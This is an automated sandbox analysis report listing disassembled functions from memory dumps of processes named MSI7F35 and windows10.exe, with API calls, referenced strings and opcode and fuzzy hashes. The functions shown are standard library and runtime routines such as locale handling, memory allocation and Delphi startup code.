Function 0082B5D1 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0082B5F6

Strings

MOC, xrefs: 0082B608
RCC, xrefs: 0082B610

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: b944a859d56363ad9f81e40d9674a8d77bc887708c3bef804f8bde4b8b9a1948
Instruction ID: b2351dd3b82c96914bfb219b8732352eb8bce98c34aec45ded511a7dc9242e7c
Opcode Fuzzy Hash: b944a859d56363ad9f81e40d9674a8d77bc887708c3bef804f8bde4b8b9a1948
Instruction Fuzzy Hash: 49418771901219EFCF15DF98ED81AAEBBB5FF58304F188059FA04A6261D3359990CB51

Function 0082217C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00822183

Part of subcall function 0081780A: __EH_prolog3.LIBCMT ref: 00817811
Part of subcall function 0081780A: std::_Lockit::_Lockit.LIBCPMT ref: 0081781B
Part of subcall function 0081780A: std::_Lockit::~_Lockit.LIBCPMT ref: 0081788C

Strings

%.0Lf, xrefs: 008221CE
0123456789-, xrefs: 008221D3

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: %.0Lf$0123456789-
API String ID: 2728201062-3094241602
Opcode ID: a98e6b4d654d438680b8fc77eafb04d9e7535e8b16eace640d2bab48b179d540
Instruction ID: f106beb8837d5e06303719f470a150aaff1d7f56a82de37818fefd9a5f4b1e3d
Opcode Fuzzy Hash: a98e6b4d654d438680b8fc77eafb04d9e7535e8b16eace640d2bab48b179d540
Instruction Fuzzy Hash: 68415831900228EFCF05EF98D8819EDBBB5FF19310F10416AF811EB251DB359A96CB55

Function 008264DB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008264E2

Part of subcall function 0080C590: std::_Lockit::_Lockit.LIBCPMT ref: 0080C5BD
Part of subcall function 0080C590: std::_Lockit::_Lockit.LIBCPMT ref: 0080C5E0
Part of subcall function 0080C590: std::_Lockit::~_Lockit.LIBCPMT ref: 0080C608
Part of subcall function 0080C590: std::_Lockit::~_Lockit.LIBCPMT ref: 0080C6A7

Strings

0123456789-, xrefs: 00826532
0123456789-, xrefs: 0082652D

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: 024a69c8afd51a391274321d0d7d1f15ea6ec2b9d25c60608f8813fd854b7b4c
Instruction ID: 71ff04cadf8a2c2710eef10ed79781490bcc826cc7d02cfbeca92a6320f0f6ed
Opcode Fuzzy Hash: 024a69c8afd51a391274321d0d7d1f15ea6ec2b9d25c60608f8813fd854b7b4c
Instruction Fuzzy Hash: F6415C31901229EFCF05DFA8E9819AE7BB5FF08310F104059F411E7292EB349A95CB55

Function 00822460 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00822467

Part of subcall function 0080B500: std::_Lockit::_Lockit.LIBCPMT ref: 0080B52D
Part of subcall function 0080B500: std::_Lockit::_Lockit.LIBCPMT ref: 0080B550
Part of subcall function 0080B500: std::_Lockit::~_Lockit.LIBCPMT ref: 0080B578
Part of subcall function 0080B500: std::_Lockit::~_Lockit.LIBCPMT ref: 0080B617

Strings

0123456789-, xrefs: 008224B7
0123456789-, xrefs: 008224B2

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: d8be82247e499772db00027f351e78c3ddf8a9c41a5dd6c947292e3626adc698
Instruction ID: b0fac9b6b116046e1b28f5d47a5c8cb7ad90a83430ca1f777e47ccd185802e4d
Opcode Fuzzy Hash: d8be82247e499772db00027f351e78c3ddf8a9c41a5dd6c947292e3626adc698
Instruction Fuzzy Hash: AC412731900228EFCF45EFA8D9919EDBBB5FF08310F104159E915EB291DB309A95CB55

Function 008267B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008267BC
__cftoe.LIBCMT ref: 0082684D

Strings

!%x, xrefs: 008267D6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: da6ba37a7e971aa56c801fe2f1110d0cd1bef077f73c79b9539aa8e64a2d381c
Instruction ID: 6ffeb249dc3a7f069f2458bafa13f46b76e412fe066aa9c1fbb6aa811af47975
Opcode Fuzzy Hash: da6ba37a7e971aa56c801fe2f1110d0cd1bef077f73c79b9539aa8e64a2d381c
Instruction Fuzzy Hash: 32412574A11259EFDF04DFA8E841AEEBBB1FF08304F044429F955EB242E7309955CB61

Function 00822DB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00822DBC
__cftoe.LIBCMT ref: 00822E4F

Strings

!%x, xrefs: 00822DCA

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: 437257fa7b382ee4d8f0692e480e73e7a2761a58a6b444f19a07660c4b0242f1
Instruction ID: 4569418e249ac81cbd64d20370b981552f86fe7711d55010b40fa5e39aaa0630
Opcode Fuzzy Hash: 437257fa7b382ee4d8f0692e480e73e7a2761a58a6b444f19a07660c4b0242f1
Instruction Fuzzy Hash: 36315A75A01219EBDF00DFA8E8819EEB7B2FF48304F114429F905EB212E7309E45CB51

Function 0080D5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0080D682

Strings

+, xrefs: 0080D5F6
%, xrefs: 0080D609

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: aaf059b3bb319acc43cf896746afa072824bef81633fc3ed1142332da7330f89
Instruction ID: a84827b7d61cd8243adbcacb20645b984bfb0dbb3ed4aa517039fac5abacf5c2
Opcode Fuzzy Hash: aaf059b3bb319acc43cf896746afa072824bef81633fc3ed1142332da7330f89
Instruction Fuzzy Hash: 7421CE711083449FD711CF58C859B9BBBE9FB99304F04851DFAA887292C635D9188BE3

Function 0080D6C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0080D769

Strings

+, xrefs: 0080D6E6
%, xrefs: 0080D6F9

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: 09af34ca955ff69e7ba6e959621f54dca3905a8b2609e07b8d78fe67495c9401
Instruction ID: 511eb703dce347dca0d7a08466934dc133a315d0a0ac01d1af42d472be51eee3
Opcode Fuzzy Hash: 09af34ca955ff69e7ba6e959621f54dca3905a8b2609e07b8d78fe67495c9401
Instruction Fuzzy Hash: 0021DE722083459FE711CF58CC45B9BBBE9FB89300F048819FA9487292C774D908CBA3

Function 0080D7B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0080D859

Strings

%, xrefs: 0080D7E9
+, xrefs: 0080D7D6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: f8c6b9646acfc163cd4b946d8d73bcbadc2a0a8ed966b995a0971d013fd0c8ab
Instruction ID: 6e17bb4c293343f8302a483ee29f920a91eabe913e9a869ed73d02a5f7890566
Opcode Fuzzy Hash: f8c6b9646acfc163cd4b946d8d73bcbadc2a0a8ed966b995a0971d013fd0c8ab
Instruction Fuzzy Hash: 7021A1722083459FE711CF58D855B9BBBE9EB89300F048829F99497292C634D918C7A3

Function 008080D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00808116
LocalFree.KERNEL32(00000000,Invalid SID,0000000B,?,00000000,58A46C4B), ref: 00808185

Strings

Invalid SID, xrefs: 00808163

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: 46435947c15b2e1dac21476cf5eb1d66bbe990c08b6e9a546fe4f450e6cc58ea
Instruction ID: 4b6cc8f94bcde6fc384c9373719f8b7f6e5330f0adc00190ed7e823cbdac342b
Opcode Fuzzy Hash: 46435947c15b2e1dac21476cf5eb1d66bbe990c08b6e9a546fe4f450e6cc58ea
Instruction Fuzzy Hash: 19216D75A00709DBDB14DF58C815BAFFBB8FF44B14F10461EE911A7280DBB56A45CB90

Function 0080C140 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0080C16B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0080C1CE

Strings

bad locale name, xrefs: 0080C1F1

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: e2317beb9afa5380acf45bae33855b0418564de5c14708ce432f2bb9674e1c74
Instruction ID: e04499959f1dc0a20812ff979df0a2bee411aa9a1b37db2de8fe431835dd7c9f
Opcode Fuzzy Hash: e2317beb9afa5380acf45bae33855b0418564de5c14708ce432f2bb9674e1c74
Instruction Fuzzy Hash: 7C21D170805B88DED721CF68C90478BBFE4EF15310F10865EE495D7781D3B5A604CB92

Function 00814077 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0081407E

Strings

true, xrefs: 008140E8
false, xrefs: 008140D5

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: H_prolog3_
String ID: false$true
API String ID: 2427045233-2658103896
Opcode ID: a75af3e6617f1b80732468892adfaf66316c8bac0a67fad3741746cfb880c983
Instruction ID: b7b6342548ed7995c2b198afeb02f96864f074e92638606aa4da97861a44651b
Opcode Fuzzy Hash: a75af3e6617f1b80732468892adfaf66316c8bac0a67fad3741746cfb880c983
Instruction Fuzzy Hash: 1311D371900745AEC720EFB8D811B8ABBF8FF19300F00C52AE1A5CB642EB30E548CB51

Function 00811E15 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00810B00: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,58A46C4B,?,008493B0,000000FF), ref: 00810B27
Part of subcall function 00810B00: GetLastError.KERNEL32(?,00000000,00000000,58A46C4B,?,008493B0,000000FF), ref: 00810B31

IsDebuggerPresent.KERNEL32(?,?,0085FAD8), ref: 00811E48
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,0085FAD8), ref: 00811E57

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00811E52

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: c7769f7e8da74d538b525556596b41fc3b063ab71816099350e8d549481ffe08
Instruction ID: 3dc33fae5e1c12d3d65a3395fb2a2a82e96e48fe535caec4bad8cbf2412fe433
Opcode Fuzzy Hash: c7769f7e8da74d538b525556596b41fc3b063ab71816099350e8d549481ffe08
Instruction Fuzzy Hash: CDE06D70600B018FC7609FA9E908786BAE8FF05704F40881DEA82C3340E7B5E488CF52

Function 00806C20 Relevance: 5.2, APIs: 4, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,40000022,58A46C4B,?,00000000,?,?,?,?,00849DA0,000000FF,?,00806432,00000000,?), ref: 00806CC4
LocalAlloc.KERNEL32(00000040,3FFFFFFF,58A46C4B,?,00000000,?,?,?,?,00849DA0,000000FF,?,00806432,00000000,?), ref: 00806CE7
LocalFree.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,00849DA0,000000FF,?,00806432,00000000), ref: 00806D87
LocalFree.KERNEL32(?,58A46C4B,00000000,008493B0,000000FF,?,00000000,00000000,00849DA0,000000FF,58A46C4B), ref: 00806E0D

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 22d6dc8ffac495733fdd37b85e59622272e41188d772867271ec3645b4c89938
Instruction ID: c2b5ea8a53e464e677c4df2342ecdcd8f2d5b218b659e6b22298a5b85def4b8f
Opcode Fuzzy Hash: 22d6dc8ffac495733fdd37b85e59622272e41188d772867271ec3645b4c89938
Instruction Fuzzy Hash: 615180B5A002199FDB58CF68DD85AAEBBB5FB48310F14422DE815E73C0E735AD60CB90

Function 00804A80 Relevance: 5.2, APIs: 4, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,80000022,?,?,?,00000000,?,00000000,?,?), ref: 00804B05
LocalAlloc.KERNEL32(00000040,7FFFFFFF,?,?,?,00000000,?,00000000,?,?), ref: 00804B25
LocalFree.KERNEL32(7FFFFFFE,?,?,00000000,?,00000000,?,?), ref: 00804BAB
LocalFree.KERNEL32(00000000,58A46C4B,00000000,00000000,008492C0,000000FF,?,?,00000000,?,00000000,?,?), ref: 00804C2D

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 5d64c1c50efcadaef32474be9c17d13d285432b3335472f7d996fbbb850eeb73
Instruction ID: b9c6b667884ddce22899a032c41788bcf45dfa6f4d3c633473e4c87b6c4db92b
Opcode Fuzzy Hash: 5d64c1c50efcadaef32474be9c17d13d285432b3335472f7d996fbbb850eeb73
Instruction Fuzzy Hash: 8C5102B26442149FC714DF68DC81A6AB7E9FB89320F100A6EF966D72D1DB70D9008B91

Analysis Process: windows10.exePID: 9132, Parent PID: 8600COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	272
Total number of Limit Nodes:	26

Executed Functions

Function 0094DCF8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000941000.00000020.00000001.01000000.00000009.sdmp, Offset: 00941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_941000_windows10.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab534339ebf2f26df59a6dabcf4891875b70cb508f85659e8086122488c55be5
Instruction ID: 4425fe49b749449cfc931c51d7623af254aeabdb922cca874ee29b4295a3ba43
Opcode Fuzzy Hash: ab534339ebf2f26df59a6dabcf4891875b70cb508f85659e8086122488c55be5
Instruction Fuzzy Hash: 93A012144088000BC404A7185C4390F36802D81614FC40214B45CA5283E606856803D7

Function 00B692FC Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAddAtomW.KERNEL32(00000000), ref: 00B69350

Part of subcall function 00B69070: SetErrorMode.KERNELBASE(00008000), ref: 00B69084
Part of subcall function 00B69070: SetErrorMode.KERNELBASE(?,00B690D0), ref: 00B690C3

Part of subcall function 00BFE394: LoadIconW.USER32(00C24040,MAINICON,?,?,?,00B69410), ref: 00BFE4BC

Strings

Delphi%.8X, xrefs: 00B6932E
AnimateWindow, xrefs: 00B6946B
USER32, xrefs: 00B69439
DelphiRM_GetObjectInstance, xrefs: 00B693AC
ControlOfs%.8X%.8X, xrefs: 00B6937F

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000B1D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b1d000_windows10.jbxd

Similarity

API ID: ErrorMode$AtomGlobalIconLoad
String ID: AnimateWindow$ControlOfs%.8X%.8X$Delphi%.8X$DelphiRM_GetObjectInstance$USER32
API String ID: 1953398334-1139167764
Opcode ID: 54ca36f87d15eb508de31b3446de47999042db1e5b3592f79988b6bfce7fa445
Instruction ID: a151c10d6b99ed9db795c54b2b1954106cbd086bce088e39e75cf520104dc0fd
Opcode Fuzzy Hash: 54ca36f87d15eb508de31b3446de47999042db1e5b3592f79988b6bfce7fa445
Instruction Fuzzy Hash: BB414A74A103459FCB11EFB8EC82B9E77E8EB85304B4044A5F905DB772EE399A05CB61

Function 00C4A4FB Relevance: 10.6, APIs: 7, Instructions: 102
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 00C4A52C
__mtterm.LIBCMT ref: 00C4A54F

Part of subcall function 00C4B309: TlsFree.KERNEL32(00C5C65C,00C4A5B6), ref: 00C4B334

__setenvp.LIBCMT ref: 00C4A55F
__cinit.LIBCMT ref: 00C4A56A
__mtterm.LIBCMT ref: 00C4A5B1
___set_flsgetvalue.LIBCMT ref: 00C4A5C2

Part of subcall function 00C4B2D5: TlsGetValue.KERNEL32(?,00C4B444), ref: 00C4B2DE
Part of subcall function 00C4B2D5: TlsSetValue.KERNEL32(00000000), ref: 00C4B2FF

Part of subcall function 00C4D25A: __calloc_impl.LIBCMT ref: 00C4D26B

__freeptd.LIBCMT ref: 00C4A621

Memory Dump Source

Source File: 0000000D.00000002.2914623261.0000000000C49000.00000020.00000001.01000000.00000009.sdmp, Offset: 00C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_c49000_windows10.jbxd

Similarity

API ID: Value__mtterm$FreeInitialize___set_flsgetvalue__calloc_impl__cinit__freeptd__setenvp
String ID:
API String ID: 3546094511-0
Opcode ID: 92f263c90a03daf211bedefc7389090bb37cd09a3a67e5f2c2822d9707112f9e
Instruction ID: 8399221a1f74ba7842a572706715c8db40f7ac993151d0b2ce2f374b691cae34
Opcode Fuzzy Hash: 92f263c90a03daf211bedefc7389090bb37cd09a3a67e5f2c2822d9707112f9e
Instruction Fuzzy Hash: 64213A76DC4B42999A257BB26D02BBE3368FF51361F24042AF426D1093FF20CA81B573

Function 00BFD1A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000002,00000000), ref: 00BFD266

Strings

System\CurrentControlSet\Control\Keyboard Layouts\%.8x, xrefs: 00BFD250
layout text, xrefs: 00BFD297

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000B1D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b1d000_windows10.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Keyboard Layouts\%.8x$layout text
API String ID: 71445658-2652665750
Opcode ID: b9d2f293ce29f3151c7a0a5ee1ecd74cef8b04a8e93dddb4f091f60791ee1b80
Instruction ID: 27dbab1c6c732087d044f572e8081a19fcb3a78806809d6a26d321d27ddc99b0
Opcode Fuzzy Hash: b9d2f293ce29f3151c7a0a5ee1ecd74cef8b04a8e93dddb4f091f60791ee1b80
Instruction Fuzzy Hash: F6410874A0420DAFDB11DF94C982BADB7F9EB49700F5140E5EA04E7251D770AF08DB66

Function 00B69070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008000), ref: 00B69084
SetErrorMode.KERNELBASE(?,00B690D0), ref: 00B690C3

Strings

imm32.dll, xrefs: 00B690A3

Memory Dump Source

Source File: 0000000D.00000002.2870577814.0000000000B1D000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_b1d000_windows10.jbxd

Similarity

API ID: ErrorMode
String ID: imm32.dll
API String ID: 2340568224-1815517138
